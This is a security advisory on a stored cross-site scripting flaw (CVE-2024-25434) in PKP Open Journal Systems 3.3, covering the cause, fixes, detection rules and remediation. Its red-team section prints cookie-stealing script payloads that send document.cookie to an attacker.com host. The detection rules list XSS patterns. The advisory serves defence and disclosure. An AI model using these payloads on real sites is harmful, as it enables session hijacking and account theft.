CVE-2024-25434

Executive Summary

CVE-2024-25434 is a stored cross-site scripting (XSS) vulnerability in PKP Open Journal Systems (OJS) version 3.3. The flaw resides in the Publicname parameter, allowing an authenticated attacker with journal manager or editor privileges to inject arbitrary web scripts or HTML. When the malicious payload is stored and later rendered in administrative or public-facing interfaces, it executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS base score of 0.0 (placeholder) but is assessed as medium-to-high risk due to the stored nature and the trust level of the affected parameter. No official patch has been released; mitigation relies on input sanitization and access control hardening.

Supply Chain & Package Security

This vulnerability affects a PHP-based open-source application (PKP OJS). The software is distributed via GitHub and the PKP website. No known malicious packages have been injected into the supply chain, but the lack of a patch increases the risk of third-party forks or unofficial patches introducing backdoors. Administrators should verify the integrity of any custom patches against the official repository.

CVSS Breakdown & Threat Level

The NVD CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires journal manager or editor role
• User Interaction (UI): None (N) – stored XSS executes automatically
• Scope (S): Changed (C) – impacts resources beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium-High. The stored XSS can be used to steal session cookies, perform actions on behalf of administrators, or deface the journal site. The requirement for authenticated access reduces the attack surface but does not eliminate the risk.

Deep Dive & Mechanics

The vulnerability exists in the user profile or journal settings functionality where the Publicname parameter is stored without proper sanitization. PKP OJS v3.3 uses a combination of PHP and JavaScript to handle user input. The Publicname field is intended for a display name, but the application does not encode or validate the input before storing it in the database. When the stored value is later rendered in HTML (e.g., in the user list, submission metadata, or public author pages), the injected script executes.

Attack Flow:

1. An attacker with journal manager or editor privileges navigates to the user profile edit page.
2. The attacker injects a payload such as <script>alert(document.cookie)</script> into the Publicname field.
3. The payload is stored in the database without sanitization.
4. When an administrator or other user views the affected user’s profile or a page that displays the Publicname, the script executes in their browser.
5. The attacker can then steal session cookies, redirect users, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation on the Publicname parameter. The application does not use htmlspecialchars() or equivalent escaping when rendering the value.

Vulnerable vs. Patched Code

Vulnerable Code (OJS v3.3 – typical pattern):

// In a template file (e.g., userProfile.tpl)
<div class="publicname">{$publicname}</div>

The $publicname variable is output directly without escaping.

Patched Code (Recommended):

// In the same template file
<div class="publicname">{$publicname|escape}</div>

Using Smarty’s escape modifier (or PHP’s htmlspecialchars()) ensures that HTML tags are encoded.

Additional Server-Side Validation (Recommended):

// In the controller or model
$publicname = strip_tags($_POST['publicname']);
// Or use a whitelist approach
$publicname = preg_replace('/[^a-zA-Z0-9\s\-_\.]/', '', $_POST['publicname']);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a PKP OJS v3.3 instance with journal manager or editor credentials.
• A modern web browser with developer tools.

Exploitation Steps:

1. Log in to OJS as a journal manager.
2. Navigate to Users > Edit Profile or directly to the user settings page.
3. In the Publicname field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the profile.
5. Wait for an administrator or another user to view the profile or a page that displays the public name.
6. The script will execute, sending the victim’s cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection Steps:

1. Monitor web application logs for unusual publicname values containing <script>, <img>, or other HTML tags.
2. Use a Web Application Firewall (WAF) to block requests with suspicious patterns in the publicname parameter.
3. Implement Content Security Policy (CSP) headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Regularly audit user profiles for unexpected HTML content.

Lab Setup:

• Use Docker to deploy a vulnerable OJS v3.3 instance:

  docker pull pkpojs/ojs:3.3
  docker run -d -p 8080:80 pkpojs/ojs:3.3
  

• Access the instance at http://localhost:8080 and configure a journal.
• Create a journal manager account and test the exploit.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual Referer headers pointing to OJS profile pages.
• Host IOCs:
  • Database entries in the users or user_settings table where publicname contains HTML tags.
  • Web server logs showing publicname values with <script> or <img> tags.
• File IOCs:
  • Modified template files (e.g., .tpl files) that lack proper escaping.
• Sample IOC (Database Query):

  SELECT * FROM user_settings WHERE setting_name = 'publicname' AND setting_value LIKE '%<script>%';
  

Detection Engineering

YARA Rule

rule CVE_2024_25434_OJS_XSS {
    meta:
        description = "Detects stored XSS payloads in PKP OJS publicname field"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-25434"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror\s*=/i
        $xss3 = /<svg[^>]*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in PKP OJS Publicname Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts via the publicname parameter in PKP OJS v3.3
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'publicname'
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload|onclick)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in publicname (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25434 - Stored XSS in PKP OJS Publicname Parameter";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"publicname"; http_client_body;
    pcre:"/(<script|<img|<svg|onerror|onload|onclick)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-25434;
)

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Apply strip_tags() or a whitelist regex to the publicname field in the PHP controller.
2. Output Encoding: Use Smarty’s escape modifier or PHP’s htmlspecialchars() when rendering the public name in templates.
3. Access Control: Restrict the ability to edit publicname to only trusted users (e.g., journal managers). Consider implementing a two-factor authentication for profile changes.

Long-Term Fix:

• Upgrade to a patched version of OJS once PKP releases an update. Monitor the PKP GitHub repository for security patches.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Conduct regular security audits of user input fields.

Workaround:

• If patching is not possible, disable the publicname field by modifying the template to not display it, or use a reverse proxy to filter out malicious payloads.

Valters IT